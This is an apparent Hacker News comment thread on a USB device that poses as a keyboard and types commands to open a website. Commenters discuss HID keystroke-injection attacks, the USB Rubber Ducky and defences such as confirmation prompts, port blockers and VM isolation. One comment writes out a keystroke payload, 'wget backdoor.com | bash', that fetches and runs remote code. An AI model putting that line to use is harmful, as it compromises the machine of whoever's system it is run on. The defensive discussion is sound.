Thought it was a flash drive [video]

https://www.reddit.com/r/assholedesign/comments/c1aq23/thought_it_was_a_flash_drive/

by cgtyoder • 7 years ago

33 38 7 years ago

codezero3• 7 years ago

Jeez, I thought these auto opening usb things were isolated to Windows and only old versions. What’s the story with this on macOS?

makepanic• 7 years ago

It's a USB keyboard that opens types some commands to open a hard-coded website.

You can't really prevent that.

AdmiralAsshat• 7 years ago

This is pretty much the way a Yubikey or other 2FA token works, no? The only difference being that it doesn't send the text until the sensor is covered.

mikeash2• 7 years ago

You could require confirmation before accepting a new input device. This could be done with out of band signaling (such as a button on the computer itself that you push to say “yes, I want to use this keyboard”) or you could do it by requiring the user to type in a secret (such as their login password, or even just a PIN displayed on the screen) to enable it for other uses.

I don’t know that people would accept this inconvenience, though.

OJFord• 7 years ago

The problem is.. it's a feature.

All kinds of legitimate (well, this is legitimate too really, it's just weird) devices have similar behaviour, and in their cases it's what the user expects and wants.

RazZziel• 7 years ago

On all new and old versions of all major operative systems out there you'll be able to plug in any standard USB keyboard, and it'll start working automatically.

That's exactly what's happening there, but the "keyboard" is pre-programmed to enter keys presses automatically in a way that makes a website pop up.

codezero3• 7 years ago

Of course. That makes total sense.

_bxg1• 7 years ago

As has been pointed out, you couldn't block this kind of thing without blocking USB keyboards altogether.

I wonder what it would look like to have a background program that would detect and intercept any newly connected device by default, give it a fake (VM?) environment, and log everything it tried to do to the screen while prompting to ask if you want to let it into the "real" system. Obviously this is what security professionals do manually, but I'm talking about a totally transparent and automatic version that could be left running all the time.

rcfox• 7 years ago

I once worked at a place where the keyboard and mouse were chained to the tower and glued in place, and the spare USB ports were glued over.

alexhutcheson• 7 years ago

What happens when you spill coffee on your keyboard?

fouronnes33• 7 years ago

A simple system like android fine grained permissions? <usb device> is asking to send keyboard input. Allow/Deny?

Wowfunhappy2• 7 years ago

This strikes me as the right solution, with two caveats:

• It should allow the keyboard through—or have a timeout that defaults to "yes"—if a mouse or keyboard is not already connected.

• I should have the option to disable it.

zelon883• 7 years ago

I made a script which runs on user logon in my Windows domain and watches for any USB storage device.

It doesn't stop the attack, but in my small(ish) network I can easily recognize unauthorized devices. https://github.com/zelon88/Workstation_USB_Monitor

dijit3• 7 years ago

I used to do the other way around, and disable all my ports until I knew I needed to use one.

Of course, there's always the possibility that I unlock my port and plug in some infected USB of my own volition and it's much more likely than some random person plugging something in.

But, anyway, this thing presents as a keyboard, not a storage device.

egypturnash• 7 years ago

On my Macs, when I try to connect a new Bluetooth keyboard, the system pops up a dialogue asking me to type a randomly-generated passcode before it'll accept any further data from the keyboard.

But it just completely trusts any USB device I plug into it to do whatever. I wonder how much work it would be to have it ask for the user to type a randomly-generated passcode before accepting input from a new USB device?

fouronnes33• 7 years ago

so... <Super>terminal<Enter>wget backdoor.com | bash<Enter>

dijit3• 7 years ago

Hasn't this been known for half-a-decade?

I mean, it's a product you can literally buy and it's impossible to adequately defend against.

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

https://shop.hak5.org/products/usb-rubber-ducky-deluxe

notatoad• 7 years ago

i've known it was possible, but it's still the first time i'd ever seen a clip of it actually happening.

And i'm pretty sure using this exploit for totally benign marketing purposes is a new one.

fencepost2• 7 years ago

There are a variety of physical port blockers available as well as devices to lock cables in place. Some protrude, others are flush and require a key for removal.

If you have business policies and training in place, hopefully the additional steps of removing a lock will also provide time for adequate second thoughts to percolate through those with poor judgment. Malicious actors won't be seriously deterred, but that's a different matter.

NikolaeVarius• 7 years ago

At Defcon, a buddy of mine screwed around with a bluetooth HID device, that when connected to, would automatically attempt to open a webpage and send them to an innocuous site (Which obviously could have been a less innocuous site).

Couldn't believe we got multiple people to connect to it under the guise the device would do a cool thing.

swiley2• 7 years ago

Well it is a cool thing. It’s different and that makes it interesting.

Sometimes I feel like all this worrying about computer security makes it harder for people to share new things.

lbotos• 7 years ago

Uh, I think you are making an argument against safety and i'm not sure if you are being sarcastic?

It's one thing to theorize, discuss and build something dangerous, it's another to actually use it.

See Flamethrowers.

snailmailman• 7 years ago

Qubes OS has an interesting way of combatting these kinds of attacks. You can manually attach a usb drive to a specific program VM, limiting the damage possible by a malicious flash drive.

I want to say it even lets you disable or whitelist usb keyboards/mice entirely but I’m not 100% certain.

QubesOS is pretty different from other OSes though, I wish those sorts of device isolation were possible or more easily accomplished in other operating systems.

Thought it was a flash drive [video]

Related Stories